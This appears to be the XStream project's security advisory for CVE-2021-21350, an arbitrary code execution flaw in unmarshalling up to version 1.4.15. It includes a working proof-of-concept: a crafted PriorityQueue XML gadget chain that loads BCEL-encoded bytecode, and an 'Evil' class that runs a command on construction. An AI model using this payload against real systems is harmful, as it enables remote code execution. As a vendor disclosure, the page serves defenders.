Software
- About XStream
- News
- Change History
- Security Aspects
- About Versioning

Evaluating XStream
- Two Minute Tutorial
- License
- Download
- References
- Benchmarks
- Code Statistics

Using XStream
- Architecture Overview
- Object references
- Tweaking the Output
- Converters
- Frequently Asked Questions
- Mailing Lists
- Reporting Issues

Javadoc
- XStream Core
- Hibernate Extensions
- JMH Module

Tutorials
- Two Minute Tutorial
- Alias Tutorial
- Annotations Tutorial
- Converter Tutorial
- Object Streams Tutorial
- Persistence API Tutorial
- JSON Tutorial
- StudyTrails

Developing XStream
- How to Contribute
- Development Team
- Source Repository
- Continuous Integration

CVE-2021-21350

Vulnerability

CVE-2021-21350: XStream is vulnerable to an Arbitrary Code Execution attack.

Affected Versions

All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.

Description

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in an arbitrary code execution.

Steps to Reproduce

Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:

```
<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='javafx.collections.ObservableList$1'/>
    </default>
    <int>3</int>
    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
      <dataHandler>
        <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
          <contentType>text/plain</contentType>
          <is class='java.io.SequenceInputStream'>
            <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
              <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
                <names class='java.util.AbstractList$Itr'>
                  <cursor>0</cursor>
                  <lastRet>-1</lastRet>
                  <expectedModCount>0</expectedModCount>
                  <outer-class class='java.util.Arrays$ArrayList'>
                    <a class='string-array'>
                      <string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$ddN$c20$Y$3d$85$c9$60$O$e5G$fcW$f0J0Qn$bc$c3$Y$T$83$89$c9$oF$M$5e$97$d9$60$c9X$c9$d6$R$5e$cb$h5$5e$f8$A$3e$94$f1$x$g$q$b1MwrN$cf$f9$be$b6$fb$fcz$ff$Ap$8a$aa$83$MJ$O$caX$cb$a2bp$dd$c6$86$8dM$86$cc$99$M$a5$3egH$d7$h$3d$G$ebR$3d$K$86UO$86$e2$s$Z$
                    </a>
                  </outer-class>
                </names>
                <processorCL class='com.sun.org.apache.bcel.internal.util.ClassLoader'>
                  <parent class='sun.misc.Launcher$ExtClassLoader'>
                  </parent>
                  <package2certs class='hashtable'/>
                  <classes defined-in='java.lang.ClassLoader'/>
                  <defaultDomain>
                    <classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='../..'/>
                    <principals/>
                    <hasAllPerm>false</hasAllPerm>
                    <staticPermissions>false</staticPermissions>
                    <key>
                      <outer-class reference='../..'/>
                    </key>
                  </defaultDomain>
                  <packages/>
                  <nativeLibraries/>
                  <assertionLock class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/>
                  <defaultAssertionStatus>false</defaultAssertionStatus>
                  <classes/>
                  <ignored__packages>
                    <string>java.</string>
                    <string>javax.</string>
                    <string>sun.</string>
                  </ignored__packages>
                  <repository class='com.sun.org.apache.bcel.internal.util.SyntheticRepository'>
                    <__path>
                      <paths/>
                      <class__path>.</class__path>
                    </__path>
                    <__loadedClasses/>
                  </repository>
                  <deferTo class='sun.misc.Launcher$ExtClassLoader' reference='../parent'/>
                </processorCL>
              </iterator>
              <type>KEYS</type>
            </e>
            <in class='java.io.ByteArrayInputStream'>
              <buf></buf>
              <pos>0</pos>
              <mark>0</mark>
              <count>0</count>
            </in>
          </is>
          <consumed>false</consumed>
        </dataSource>
        <transferFlavors/>
      </dataHandler>
      <dataLen>0</dataLen>
    </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>
```

The payload has been directly injected and was generated by following code:

```
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.IOException;
import java.io.InputStream;

/**
 * @author threedr3am
 */
public class Evil {

    public Evil() throws IOException {
        Runtime.getRuntime().exec("open -a calculator");
    }

    public static void main(String[] args) throws IOException {
        InputStream inputStream = Evil.class.getResourceAsStream("Evil.class");
        byte[] bytes = new byte[inputStream.available()];
        inputStream.read(bytes);
        String code = Utility.encode(bytes, true);
        String bcel = "$$BCEL$$" + code;
        System.out.println(bcel);
    }
}
```

```
XStream xstream = new XStream();
xstream.fromXML(xml);
```

As soon as the XML gets unmarshalled, the payload with the injected code gets executed.

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

Impact

The vulnerability may allow a remote attacker to execute arbitrary code only by manipulating the processed input stream.

Workarounds

See workarounds for the different versions covering all CVEs.

Credits

The vulnerability was discovered and reported by threedr3am.